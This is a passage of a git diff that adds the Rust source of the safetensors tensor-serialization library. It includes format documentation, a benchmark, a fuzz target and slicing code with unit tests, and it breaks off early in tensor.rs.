On CPU, if the file is already in cache, then it can +truly be zero-copy, whereas on GPU there is not such disk cache, so a copy is always required +but you can bypass allocating all the tensors on CPU at any given point. + SafeTensors is not zero-copy for the header. The choice of JSON is pretty arbitrary, but since deserialization is <<< of the time required to load the actual tensor data and is readable I went that way, (also space is <<< to the tensor data). + +- Endianness: Little-endian. This can be modified later, but it feels really unnecessary at the +moment. +- Order: 'C' or row-major. This seems to have won. We can add that information later if needed. +- Stride: No striding, all tensors need to be packed before being serialized. I have yet to see a case where it seems useful to have a strided tensor stored in serialized format. + +### Benefits + +Since we can invent a new format we can propose additional benefits: + +- Prevent DOS attacks: We can craft the format in such a way that it's almost +impossible to use malicious files to DOS attack a user. Currently, there's a limit +on the size of the header of 100MB to prevent parsing extremely large JSON. + Also when reading the file, there's a guarantee that addresses in the file + do not overlap in any way, meaning when you're loading a file you should never + exceed the size of the file in memory + +- Faster load: PyTorch seems to be the fastest file to load out in the major +ML formats. However, it does seem to have an extra copy on CPU, which we +can bypass in this lib by using `torch.UntypedStorage.from_file`. +Currently, CPU loading times are extremely fast with this lib compared to pickle. +GPU loading times are as fast or faster than PyTorch equivalent. +Loading first on CPU with memmapping with torch, and then moving all tensors to GPU seems +to be faster too somehow (similar behavior in torch pickle) + +- Lazy loading: in distributed (multi-node or multi-gpu) settings, it's nice to be able to +load only part of the tensors on the various models. For +[BLOOM](https://huggingface.co/bigscience/bloom) using this format enabled +to load the model on 8 GPUs from 10mn with regular PyTorch weights down to 45s. +This really speeds up feedbacks loops when developing on the model. For instance +you don't have to have separate copies of the weights when changing the distribution +strategy (for instance Pipeline Parallelism vs Tensor Parallelism). + +License: Apache-2.0 diff --git a/extensions/safetensors/safetensors/README.tpl b/extensions/safetensors/safetensors/README.tpl new file mode 100644 index 0000000000000000000000000000000000000000..3635760d5f6b921dff41d3a812e8c917158834b9 --- /dev/null +++ b/extensions/safetensors/safetensors/README.tpl @@ -0,0 +1,27 @@ +

+ + + + Hugging Face Safetensors Library + +
+
+

+ +Python +[![Pypi](https://img.shields.io/pypi/v/safetensors.svg)](https://pypi.org/pypi/safetensors/) +[![Documentation](https://img.shields.io/website/http/huggingface.co/docs/safetensors/index.svg?label=docs)](https://huggingface.co/docs/safetensors/index) +[![Codecov](https://codecov.io/github/huggingface/safetensors/coverage.svg?branch=main)](https://codecov.io/gh/huggingface/safetensors) +[![Downloads](https://static.pepy.tech/badge/safetensors/month)](https://pepy.tech/project/safetensors) + +Rust +[![Crates.io](https://img.shields.io/crates/v/safetensors.svg)](https://crates.io/crates/safetensors) +[![Documentation](https://docs.rs/safetensors/badge.svg)](https://docs.rs/safetensors/) +[![Codecov](https://codecov.io/github/huggingface/safetensors/coverage.svg?branch=main)](https://codecov.io/gh/huggingface/safetensors) +[![Dependency status](https://deps.rs/repo/github/huggingface/safetensors/status.svg?path=safetensors)](https://deps.rs/repo/github/huggingface/safetensors?path=safetensors) + +# {{crate}} + +{{readme}} + +License: {{license}} diff --git a/extensions/safetensors/safetensors/benches/benchmark.rs b/extensions/safetensors/safetensors/benches/benchmark.rs new file mode 100644 index 0000000000000000000000000000000000000000..8f9dd3fb78edd8a2340a07f3b758d53f54ad7b4c --- /dev/null +++ b/extensions/safetensors/safetensors/benches/benchmark.rs @@ -0,0 +1,55 @@ +use criterion::{black_box, criterion_group, criterion_main, Criterion}; +use safetensors::tensor::*; +use std::collections::HashMap; + +// Returns a sample data of size 2_MB +fn get_sample_data() -> (Vec, Vec, Dtype) { + let shape = vec![1000, 500]; + let dtype = Dtype::F32; + let n: usize = shape.iter().product::() * dtype.size(); // 4 + let data = vec![0; n]; + + (data, shape, dtype) +} + +pub fn bench_serialize(c: &mut Criterion) { + let (data, shape, dtype) = get_sample_data(); + let n_layers = 5; + + let mut metadata: HashMap = HashMap::new(); + // 2_MB x 5 = 10_MB + for i in 0..n_layers { + let tensor = TensorView::new(dtype, shape.clone(), &data[..]).unwrap(); + metadata.insert(format!("weight{i}"), tensor); + } + + c.bench_function("Serlialize 10_MB", |b| { + b.iter(|| { + let _serialized = serialize(black_box(&metadata), black_box(&None)); + }) + }); +} + +pub fn bench_deserialize(c: &mut Criterion) { + let (data, shape, dtype) = get_sample_data(); + let n_layers = 5; + + let mut metadata: HashMap = HashMap::new(); + // 2_MB x 5 = 10_MB + for i in 0..n_layers { + let tensor = TensorView::new(dtype, shape.clone(), &data[..]).unwrap(); + metadata.insert(format!("weight{i}"), tensor); + } + + let out = serialize(&metadata, &None).unwrap(); + + c.bench_function("Deserlialize 10_MB", |b| { + b.iter(|| { + let _deserialized = SafeTensors::deserialize(black_box(&out)).unwrap(); + }) + }); +} + +criterion_group!(bench_ser, bench_serialize); +criterion_group!(bench_de, bench_deserialize); +criterion_main!(bench_ser, bench_de); diff --git a/extensions/safetensors/safetensors/fuzz/.gitignore b/extensions/safetensors/safetensors/fuzz/.gitignore new file mode 100644 index 0000000000000000000000000000000000000000..1a45eee7760d240bfa8ac1989088e0349169f264 --- /dev/null +++ b/extensions/safetensors/safetensors/fuzz/.gitignore @@ -0,0 +1,4 @@ +target +corpus +artifacts +coverage diff --git a/extensions/safetensors/safetensors/fuzz/Cargo.toml b/extensions/safetensors/safetensors/fuzz/Cargo.toml new file mode 100644 index 0000000000000000000000000000000000000000..a301cc96c6470b5cebdf69b207db10e51edb190a --- /dev/null +++ b/extensions/safetensors/safetensors/fuzz/Cargo.toml @@ -0,0 +1,27 @@ +[package] +name = "safetensors-fuzz" +version = "0.0.0" +publish = false +edition = "2021" + +[package.metadata] +cargo-fuzz = true + +[dependencies] +libfuzzer-sys = "0.4" + +[dependencies.safetensors] +path = ".." + +# Prevent this from interfering with workspaces +[workspace] +members = ["."] + +[profile.release] +debug = 1 + +[[bin]] +name = "fuzz_target_1" +path = "fuzz_targets/fuzz_target_1.rs" +test = false +doc = false diff --git a/extensions/safetensors/safetensors/fuzz/fuzz_targets/fuzz_target_1.rs b/extensions/safetensors/safetensors/fuzz/fuzz_targets/fuzz_target_1.rs new file mode 100644 index 0000000000000000000000000000000000000000..1c0e54e80ce77455f651c50bd3280bb3d5a1728f --- /dev/null +++ b/extensions/safetensors/safetensors/fuzz/fuzz_targets/fuzz_target_1.rs @@ -0,0 +1,8 @@ +#![no_main] + +use libfuzzer_sys::fuzz_target; +use safetensors::tensor::SafeTensors; + +fuzz_target!(|data: &[u8]| { + let _ = SafeTensors::deserialize(data); +}); diff --git a/extensions/safetensors/safetensors/src/lib.rs b/extensions/safetensors/safetensors/src/lib.rs new file mode 100644 index 0000000000000000000000000000000000000000..6a3fe70c7349e309d711e2b9ffdbb786b95ddf88 --- /dev/null +++ b/extensions/safetensors/safetensors/src/lib.rs @@ -0,0 +1,169 @@ +#![deny(missing_docs)] +//!# Safetensors +//! +//!This repository implements a new simple format for storing tensors +//!safely (as opposed to pickle) and that is still fast (zero-copy). +//! +//!## Installation +//!### Pip +//! +//! You can install safetensors via the pip manager: +//! +//! ```bash +//! pip install safetensors +//! ``` +//! +//!### From source +//! +//!For the sources, you need Rust +//! +//!```bash +//!# Install Rust +//!curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh +//!# Make sure it's up to date and using stable channel +//!rustup update +//!git clone https://github.com/huggingface/safetensors +//!cd safetensors/bindings/python +//!pip install setuptools_rust +//!pip install -e . +//!``` +//! +//!## Getting started +//! +//!```python +//!import torch +//!from safetensors import safe_open +//!from safetensors.torch import save_file +//! +//!tensors = { +//! "weight1": torch.zeros((1024, 1024)), +//! "weight2": torch.zeros((1024, 1024)) +//!} +//!save_file(tensors, "model.safetensors") +//! +//!tensors = {} +//!with safe_open("model.safetensors", framework="pt", device="cpu") as f: +//! for key in f.keys(): +//! tensors[key] = f.get_tensor(key) +//!``` +//! +//![Python documentation](https://huggingface.co/docs/safetensors/index) +//! +//! +//!## Format +//! +//! - 8 bytes: `N`, an unsigned little-endian 64-bit integer, containing the size of the header +//! - N bytes: a JSON UTF-8 string representing the header. +//! - The header data MUST begin with a `{` character (0x7B). +//! - The header data MAY be trailing padded with whitespace (0x20). +//! - The header is a dict like `{"TENSOR_NAME": {"dtype": "F16", "shape": [1, 16, 256], "data_offsets": [BEGIN, END]}, "NEXT_TENSOR_NAME": {...}, ...}`, +//! - `data_offsets` point to the tensor data relative to the beginning of the byte buffer (i.e. not an absolute position in the file), +//! with `BEGIN` as the starting offset and `END` as the one-past offset (so total tensor byte size = `END - BEGIN`). +//! - A special key `__metadata__` is allowed to contain free form string-to-string map. Arbitrary JSON is not allowed, all values must be strings. +//! - Rest of the file: byte-buffer. +//! +//! Notes: +//! - Duplicate keys are disallowed. Not all parsers may respect this. +//! - In general the subset of JSON is implicitly decided by `serde_json` for +//! this library. Anything obscure might be modified at a later time, that odd ways +//! to represent integer, newlines and escapes in utf-8 strings. This would only +//! be done for safety concerns +//! - Tensor values are not checked against, in particular NaN and +/-Inf could +//! be in the file +//! - Empty tensors (tensors with 1 dimension being 0) are allowed. +//! They are not storing any data in the databuffer, yet retaining size in the header. +//! They don't really bring a lot of values but are accepted since they are valid tensors +//! from traditional tensor libraries perspective (torch, tensorflow, numpy, ..). +//! - 0-rank Tensors (tensors with shape `[]`) are allowed, they are merely a scalar. +//! - The byte buffer needs to be entirely indexed, and cannot contain holes. This prevents +//! the creation of polyglot files. +//! +//! +//!## Yet another format ? +//! +//!The main rationale for this crate is to remove the need to use +//!`pickle` on `PyTorch` which is used by default. +//!There are other formats out there used by machine learning and more general +//!formats. +//! +//! +//!Let's take a look at alternatives and why this format is deemed interesting. +//!This is my very personal and probably biased view: +//! +//!| Format | Safe | Zero-copy | Lazy loading | No file size limit | Layout control | Flexibility | Bfloat16 +//!| ----------------------- | --- | --- | --- | --- | --- | --- | --- | +//!| pickle (PyTorch) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 | +//!| H5 (Tensorflow) | 🗸 | ✗ | 🗸 | 🗸 | ~ | ~ | ✗ | +//!| SavedModel (Tensorflow) | 🗸 | ✗ | ✗ | 🗸 | 🗸 | ✗ | 🗸 | +//!| MsgPack (flax) | 🗸 | 🗸 | ✗ | 🗸 | ✗ | ✗ | 🗸 | +//!| Protobuf (ONNX) | 🗸 | ✗ | ✗ | ✗ | ✗ | ✗ | 🗸 | +//!| Cap'n'Proto | 🗸 | 🗸 | ~ | 🗸 | 🗸 | ~ | ✗ | +//!| Arrow | ? | ? | ? | ? | ? | ? | ✗ | +//!| Numpy (npy,npz) | 🗸 | ? | ? | ✗ | 🗸 | ✗ | ✗ | +//!| pdparams (Paddle) | ✗ | ✗ | ✗ | 🗸 | ✗ | 🗸 | 🗸 | +//!| SafeTensors | 🗸 | 🗸 | 🗸 | 🗸 | 🗸 | ✗ | 🗸 | +//! +//!- Safe: Can I use a file randomly downloaded and expect not to run arbitrary code ? +//!- Zero-copy: Does reading the file require more memory than the original file ? +//!- Lazy loading: Can I inspect the file without loading everything ? And loading only +//!some tensors in it without scanning the whole file (distributed setting) ? +//!- Layout control: Lazy loading, is not necessarily enough since if the information about tensors is spread out in your file, then even if the information is lazily accessible you might have to access most of your file to read the available tensors (incurring many DISK -> RAM copies). Controlling the layout to keep fast access to single tensors is important. +//!- No file size limit: Is there a limit to the file size ? +//!- Flexibility: Can I save custom code in the format and be able to use it later with zero extra code ? (~ means we can store more than pure tensors, but no custom code) +//!- Bfloat16: Does the format support native bfloat16 (meaning no weird workarounds are +//!necessary)? This is becoming increasingly important in the ML world. +//! +//! +//!## Main oppositions +//! +//!- Pickle: Unsafe, runs arbitrary code +//!- H5: Apparently now discouraged for TF/Keras. Seems like a great fit otherwise actually. Some classic use after free issues: . On a very different level than pickle security-wise. Also 210k lines of code vs ~400 lines for this lib currently. +//!- SavedModel: Tensorflow specific (it contains TF graph information). +//!- MsgPack: No layout control to enable lazy loading (important for loading specific parts in distributed setting) +//!- Protobuf: Hard 2Go max file size limit +//!- Cap'n'proto: Float16 support is not present [link](https://capnproto.org/language.html#built-in-types) so using a manual wrapper over a byte-buffer would be necessary. Layout control seems possible but not trivial as buffers have limitations [link](https://stackoverflow.com/questions/48458839/capnproto-maximum-filesize). +//!- Numpy (npz): No `bfloat16` support. Vulnerable to zip bombs (DOS). Not zero-copy. +//!- Arrow: No `bfloat16` support. Seem to require decoding [link](https://arrow.apache.org/docs/python/parquet.html#reading-parquet-and-memory-mapping) +//! +//!## Notes +//! +//!- Zero-copy: No format is really zero-copy in ML, it needs to go from disk to RAM/GPU RAM (that takes time). On CPU, if the file is already in cache, then it can +//! truly be zero-copy, whereas on GPU there is not such disk cache, so a copy is always required +//! but you can bypass allocating all the tensors on CPU at any given point. +//! SafeTensors is not zero-copy for the header. The choice of JSON is pretty arbitrary, but since deserialization is <<< of the time required to load the actual tensor data and is readable I went that way, (also space is <<< to the tensor data). +//! +//!- Endianness: Little-endian. This can be modified later, but it feels really unnecessary at the +//!moment. +//!- Order: 'C' or row-major. This seems to have won. We can add that information later if needed. +//!- Stride: No striding, all tensors need to be packed before being serialized. I have yet to see a case where it seems useful to have a strided tensor stored in serialized format. +//! +//!## Benefits +//! +//!Since we can invent a new format we can propose additional benefits: +//! +//!- Prevent DOS attacks: We can craft the format in such a way that it's almost +//!impossible to use malicious files to DOS attack a user. Currently, there's a limit +//!on the size of the header of 100MB to prevent parsing extremely large JSON. +//! Also when reading the file, there's a guarantee that addresses in the file +//! do not overlap in any way, meaning when you're loading a file you should never +//! exceed the size of the file in memory +//! +//!- Faster load: PyTorch seems to be the fastest file to load out in the major +//! ML formats. However, it does seem to have an extra copy on CPU, which we +//! can bypass in this lib by using `torch.UntypedStorage.from_file`. +//! Currently, CPU loading times are extremely fast with this lib compared to pickle. +//! GPU loading times are as fast or faster than PyTorch equivalent. +//! Loading first on CPU with memmapping with torch, and then moving all tensors to GPU seems +//! to be faster too somehow (similar behavior in torch pickle) +//! +//!- Lazy loading: in distributed (multi-node or multi-gpu) settings, it's nice to be able to +//!load only part of the tensors on the various models. For +//![BLOOM](https://huggingface.co/bigscience/bloom) using this format enabled +//!to load the model on 8 GPUs from 10mn with regular PyTorch weights down to 45s. +//!This really speeds up feedbacks loops when developing on the model. For instance +//!you don't have to have separate copies of the weights when changing the distribution +//!strategy (for instance Pipeline Parallelism vs Tensor Parallelism). + +pub mod slice; +pub mod tensor; +pub use tensor::{serialize, serialize_to_file, Dtype, SafeTensorError, SafeTensors, View}; diff --git a/extensions/safetensors/safetensors/src/slice.rs b/extensions/safetensors/safetensors/src/slice.rs new file mode 100644 index 0000000000000000000000000000000000000000..276bbb705e526486726b796fe03423be4b4c746d --- /dev/null +++ b/extensions/safetensors/safetensors/src/slice.rs @@ -0,0 +1,490 @@ +//! Module handling lazy loading via iterating on slices on the original buffer. +use crate::tensor::TensorView; +use std::ops::{ + Bound, Range, RangeBounds, RangeFrom, RangeFull, RangeInclusive, RangeTo, RangeToInclusive, +}; + +/// Error representing invalid slicing attempt +#[derive(Debug)] +pub enum InvalidSlice { + /// When the client asked for more slices than the tensors has dimensions + TooManySlices, +} + +#[derive(Debug, Clone)] +/// Generic structure used to index a slice of the tensor +pub enum TensorIndexer { + //Select(usize), + /// This is a regular slice, purely indexing a chunk of the tensor + Narrow(Bound, Bound), + //IndexSelect(Tensor), +} + +// impl From for TensorIndexer { +// fn from(index: usize) -> Self { +// TensorIndexer::Select(index) +// } +// } + +// impl From<&[usize]> for TensorIndexer { +// fn from(index: &[usize]) -> Self { +// let tensor = index.into(); +// TensorIndexer::IndexSelect(tensor) +// } +// } +// +// impl From> for TensorIndexer { +// fn from(index: Vec) -> Self { +// let tensor = Tensor::of_slice(&index); +// TensorIndexer::IndexSelect(tensor) +// } +// } + +macro_rules! impl_from_range { + ($range_type:ty) => { + impl From<$range_type> for TensorIndexer { + fn from(range: $range_type) -> Self { + use std::ops::Bound::*; + + let start = match range.start_bound() { + Included(idx) => Included(*idx), + Excluded(idx) => Excluded(*idx), + Unbounded => Unbounded, + }; + + let end = match range.end_bound() { + Included(idx) => Included(*idx), + Excluded(idx) => Excluded(*idx), + Unbounded => Unbounded, + }; + + TensorIndexer::Narrow(start, end) + } + } + }; +} + +impl_from_range!(Range); +impl_from_range!(RangeFrom); +impl_from_range!(RangeFull); +impl_from_range!(RangeInclusive); +impl_from_range!(RangeTo); +impl_from_range!(RangeToInclusive); + +/// Trait used to implement multiple signatures for ease of use of the slicing +/// of a tensor +pub trait IndexOp<'data, T> { + /// Returns a slicing iterator which are the chunks of data necessary to + /// reconstruct the desired tensor. + fn slice(&'data self, index: T) -> Result, InvalidSlice>; +} + +impl<'data, A> IndexOp<'data, A> for TensorView<'data> +where + A: Into, +{ + fn slice(&'data self, index: A) -> Result, InvalidSlice> { + self.sliced_data(&[index.into()]) + } +} + +impl<'data, A> IndexOp<'data, (A,)> for TensorView<'data> +where + A: Into, +{ + fn slice(&'data self, index: (A,)) -> Result, InvalidSlice> { + let idx_a = index.0.into(); + self.sliced_data(&[idx_a]) + } +} + +impl<'data, A, B> IndexOp<'data, (A, B)> for TensorView<'data> +where + A: Into, + B: Into, +{ + fn slice(&'data self, index: (A, B)) -> Result, InvalidSlice> { + let idx_a = index.0.into(); + let idx_b = index.1.into(); + self.sliced_data(&[idx_a, idx_b]) + } +} + +impl<'data, A, B, C> IndexOp<'data, (A, B, C)> for TensorView<'data> +where + A: Into, + B: Into, + C: Into, +{ + fn slice(&'data self, index: (A, B, C)) -> Result, InvalidSlice> { + let idx_a = index.0.into(); + let idx_b = index.1.into(); + let idx_c = index.2.into(); + self.sliced_data(&[idx_a, idx_b, idx_c]) + } +} + +// impl IndexOp<(A, B, C, D)> for TensorView<'data> +// where +// A: Into, +// B: Into, +// C: Into, +// D: Into, +// { +// fn slice(&self, index: (A, B, C, D)) -> TensorView<'data> { +// let idx_a = index.0.into(); +// let idx_b = index.1.into(); +// let idx_c = index.2.into(); +// let idx_d = index.3.into(); +// self.sliced_data(&[idx_a, idx_b, idx_c, idx_d]) +// } +// } +// +// impl IndexOp<(A, B, C, D, E)> for TensorView<'data> +// where +// A: Into, +// B: Into, +// C: Into, +// D: Into, +// E: Into, +// { +// fn slice(&self, index: (A, B, C, D, E)) -> TensorView<'data> { +// let idx_a = index.0.into(); +// let idx_b = index.1.into(); +// let idx_c = index.2.into(); +// let idx_d = index.3.into(); +// let idx_e = index.4.into(); +// self.sliced_data(&[idx_a, idx_b, idx_c, idx_d, idx_e]) +// } +// } +// +// impl IndexOp<(A, B, C, D, E, F)> for TensorView<'data> +// where +// A: Into, +// B: Into, +// C: Into, +// D: Into, +// E: Into, +// F: Into, +// { +// fn slice(&self, index: (A, B, C, D, E, F)) -> TensorView<'data> { +// let idx_a = index.0.into(); +// let idx_b = index.1.into(); +// let idx_c = index.2.into(); +// let idx_d = index.3.into(); +// let idx_e = index.4.into(); +// let idx_f = index.5.into(); +// self.sliced_data(&[idx_a, idx_b, idx_c, idx_d, idx_e, idx_f]) +// } +// } +// +// impl IndexOp<(A, B, C, D, E, F, G)> for TensorView<'data> +// where +// A: Into, +// B: Into, +// C: Into, +// D: Into, +// E: Into, +// F: Into, +// G: Into, +// { +// fn slice(&self, index: (A, B, C, D, E, F, G)) -> TensorView<'data> { +// let idx_a = index.0.into(); +// let idx_b = index.1.into(); +// let idx_c = index.2.into(); +// let idx_d = index.3.into(); +// let idx_e = index.4.into(); +// let idx_f = index.5.into(); +// let idx_g = index.6.into(); +// self.sliced_data(&[idx_a, idx_b, idx_c, idx_d, idx_e, idx_f, idx_g]) +// } +// } + +/// Iterator used to return the bits of the overall tensor buffer +/// when client asks for a slice of the original tensor. +pub struct SliceIterator<'data> { + view: &'data TensorView<'data>, + indices: Vec<(usize, usize)>, + newshape: Vec, +} + +impl<'data> SliceIterator<'data> { + pub(crate) fn new( + view: &'data TensorView<'data>, + slices: &[TensorIndexer], + ) -> Result { + // Make sure n. axis does not exceed n. of dimensions + let n_slice = slices.len(); + let n_shape = view.shape().len(); + if n_slice > n_shape { + return Err(InvalidSlice::TooManySlices); + } + let mut newshape = Vec::with_capacity(view.shape().len()); + + // Minimum span is the span of 1 item; + let mut span = view.dtype().size(); + let mut indices = vec![]; + // Everything is row major. + for (i, &shape) in view.shape().iter().enumerate().rev() { + if i >= slices.len() { + // We are not slicing yet, just increase the local span + newshape.push(shape); + } else { + let slice = &slices[i]; + let (start, stop) = match slice { + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded) => (0, shape), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Excluded(stop)) => (0, *stop), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Included(stop)) => { + (0, *stop + 1) + } + TensorIndexer::Narrow(Bound::Included(s), Bound::Unbounded) => (*s, shape), + TensorIndexer::Narrow(Bound::Included(s), Bound::Excluded(stop)) => (*s, *stop), + TensorIndexer::Narrow(Bound::Included(s), Bound::Included(stop)) => { + (*s, *stop + 1) + } + TensorIndexer::Narrow(Bound::Excluded(s), Bound::Unbounded) => (*s + 1, shape), + TensorIndexer::Narrow(Bound::Excluded(s), Bound::Excluded(stop)) => { + (*s + 1, *stop) + } + TensorIndexer::Narrow(Bound::Excluded(s), Bound::Included(stop)) => { + (*s + 1, *stop + 1) + } + }; + newshape.push(stop - start); + if indices.is_empty() { + if start == 0 && stop == shape { + // We haven't started to slice yet, just increase the span + } else { + let offset = start * span; + let small_span = stop * span - offset; + indices.push((offset, offset + small_span)); + } + } else { + let capacity = (stop - start) * indices.len(); + let mut newindices = Vec::with_capacity(capacity); + for n in start..stop { + let offset = n * span; + for (old_start, old_stop) in &indices { + newindices.push((old_start + offset, old_stop + offset)); + } + } + indices = newindices; + } + } + span *= shape; + } + if indices.is_empty() { + indices.push((0, view.data().len())); + } + // Reversing so we can pop faster while iterating on the slice + let indices = indices.into_iter().rev().collect(); + let newshape = newshape.into_iter().rev().collect(); + Ok(Self { + view, + indices, + newshape, + }) + } + + /// Gives back the amount of bytes still being in the iterator + pub fn remaining_byte_len(&self) -> usize { + self.indices + .iter() + .map(|(start, stop)| (stop - start)) + .sum() + } + + /// Gives back the amount of bytes still being in the iterator + pub fn newshape(&self) -> Vec { + self.newshape.clone() + } +} + +impl<'data> Iterator for SliceIterator<'data> { + type Item = &'data [u8]; + + fn next(&mut self) -> Option { + // TODO We might want to move the logic from `new` + // here actually to remove the need to get all the indices + // upfront. + let (start, stop) = self.indices.pop()?; + Some(&self.view.data()[start..stop]) + } +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::tensor::{Dtype, TensorView}; + + #[test] + fn test_helpers() { + let data: Vec = vec![0.0f32, 1.0, 2.0, 3.0, 4.0, 5.0] + .into_iter() + .flat_map(|f| f.to_le_bytes()) + .collect(); + + let attn_0 = TensorView::new(Dtype::F32, vec![1, 2, 3], &data).unwrap(); + + let iterator = SliceIterator::new( + &attn_0, + &[TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded)], + ) + .unwrap(); + assert_eq!(iterator.remaining_byte_len(), 24); + assert_eq!(iterator.newshape(), vec![1, 2, 3]); + + let iterator = SliceIterator::new( + &attn_0, + &[ + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Included(0), Bound::Excluded(1)), + ], + ) + .unwrap(); + assert_eq!(iterator.remaining_byte_len(), 12); + assert_eq!(iterator.newshape(), vec![1, 1, 3]); + } + + #[test] + fn test_dummy() { + let data: Vec = vec![0.0f32, 1.0, 2.0, 3.0, 4.0, 5.0] + .into_iter() + .flat_map(|f| f.to_le_bytes()) + .collect(); + + let attn_0 = TensorView::new(Dtype::F32, vec![1, 2, 3], &data).unwrap(); + + let mut iterator = SliceIterator::new( + &attn_0, + &[TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded)], + ) + .unwrap(); + assert_eq!(iterator.next(), Some(&data[0..24])); + assert_eq!(iterator.next(), None); + + let mut iterator = SliceIterator::new( + &attn_0, + &[ + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + ], + ) + .unwrap(); + assert_eq!(iterator.next(), Some(&data[0..24])); + assert_eq!(iterator.next(), None); + + let mut iterator = SliceIterator::new( + &attn_0, + &[ + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + ], + ) + .unwrap(); + assert_eq!(iterator.next(), Some(&data[0..24])); + assert_eq!(iterator.next(), None); + + let mut iterator = SliceIterator::new( + &attn_0, + &[ + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + ], + ) + .unwrap(); + assert_eq!(iterator.next(), Some(&data[0..24])); + assert_eq!(iterator.next(), None); + + assert!(SliceIterator::new( + &attn_0, + &[ + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + ], + ) + .is_err(),); + } + + #[test] + fn test_slice_variety() { + let data: Vec = vec![0.0f32, 1.0, 2.0, 3.0, 4.0, 5.0] + .into_iter() + .flat_map(|f| f.to_le_bytes()) + .collect(); + + let attn_0 = TensorView::new(Dtype::F32, vec![1, 2, 3], &data).unwrap(); + + let mut iterator = SliceIterator::new( + &attn_0, + &[TensorIndexer::Narrow( + Bound::Included(0), + Bound::Excluded(1), + )], + ) + .unwrap(); + assert_eq!(iterator.next(), Some(&data[0..24])); + assert_eq!(iterator.next(), None); + + let mut iterator = SliceIterator::new( + &attn_0, + &[ + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Included(0), Bound::Excluded(1)), + ], + ) + .unwrap(); + assert_eq!(iterator.next(), Some(&data[0..12])); + assert_eq!(iterator.next(), None); + + let mut iterator = SliceIterator::new( + &attn_0, + &[ + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Included(0), Bound::Excluded(1)), + ], + ) + .unwrap(); + assert_eq!(iterator.next(), Some(&data[0..4])); + assert_eq!(iterator.next(), Some(&data[12..16])); + assert_eq!(iterator.next(), None); + + let mut iterator = SliceIterator::new( + &attn_0, + &[ + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Included(1), Bound::Excluded(2)), + TensorIndexer::Narrow(Bound::Included(0), Bound::Excluded(1)), + ], + ) + .unwrap(); + assert_eq!(iterator.next(), Some(&data[12..16])); + assert_eq!(iterator.next(), None); + } + + #[test] + fn test_slice_variety2() { + let data: Vec = vec![0.0f32, 1.0, 2.0, 3.0, 4.0, 5.0] + .into_iter() + .flat_map(|f| f.to_le_bytes()) + .collect(); + + let attn_0 = TensorView::new(Dtype::F32, vec![2, 3], &data).unwrap(); + + let mut iterator = SliceIterator::new( + &attn_0, + &[ + TensorIndexer::Narrow(Bound::Unbounded, Bound::Unbounded), + TensorIndexer::Narrow(Bound::Included(1), Bound::Excluded(3)), + ], + ) + .unwrap(); + assert_eq!(iterator.next(), Some(&data[4..12])); + assert_eq!(iterator.next(), Some(&data[16..24])); + assert_eq!(iterator.next(), None); + } +} diff --git a/extensions/safetensors/safetensors/src/tensor.rs b/extensions/safetensors/safetensors/src/tensor.rs new file mode 100644 index 0000000000000000000000000000000000000000..f326f21bce2a873a3688808540c5b03a8ef07159 --- /dev/null +++ b/extensions/safetensors/safetensors/src/tensor.rs @@ -0,0 +1,1186 @@ +//! Module Containing the most important structures +use crate::slice::{InvalidSlice, SliceIterator, TensorIndexer}; +use serde::{ser::SerializeMap, Deserialize, Deserializer, Serialize, Serializer}; +use std::borrow::Cow; +use std::collections::HashMap; +use std::fs::File; +use std::io::{BufWriter, Write}; +use std::path::Path; + +const MAX_HEADER_SIZE: usize = 100_000_000; + +/// Possible errors that could occur while reading +/// A Safetensor file. +#[derive(Debug)] +pub enum SafeTensorError { + /// The header is an invalid UTF-8 string and cannot be read. + InvalidHeader, + /// The header's first byte is not the expected `{`. + InvalidHeaderStart, + /// The header does contain a valid string, but it is not valid JSON. + InvalidHeaderDeserialization, + /// The header is large than 100Mo which is considered too large (Might evolve in the future). + HeaderTooLarge, + /// The header is smaller than 8 bytes + HeaderTooSmall, + /// The header length is invalid + InvalidHeaderLength, + /// The tensor name was not found in the archive + TensorNotFound(String), + /// Invalid information between shape, dtype and the proposed offsets in the file + TensorInvalidInfo, + /// The offsets declared for tensor with name `String` in the header are invalid + InvalidOffset(String), + /// IoError + IoError(std::io::Error), + /// JSON error + JsonError(serde_json::Error), + /// The follow tensor cannot be created because the buffer size doesn't match shape + dtype + InvalidTensorView(Dtype, Vec, usize), + /// The metadata is invalid because the data offsets of the tensor does not + /// fully cover the buffer part of the file. The last offset **must** be + /// the end of the file. + MetadataIncompleteBuffer, + /// The metadata contains information (shape or shape * dtype size) which lead to an + /// arithmetic overflow. This is most likely an error in the file. + ValidationOverflow, +} + +impl From for SafeTensorError { + fn from(error: std::io::Error) -> SafeTensorError { + SafeTensorError::IoError(error) + } +} + +impl From for SafeTensorError { + fn from(error: serde_json::Error) -> SafeTensorError { + SafeTensorError::JsonError(error) + } +} + +impl std::fmt::Display for SafeTensorError { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + write!(f, "{self:?}") + } +} + +impl std::error::Error for SafeTensorError {} + +struct PreparedData { + n: u64, + header_bytes: Vec, + offset: usize, +} + +/// The trait 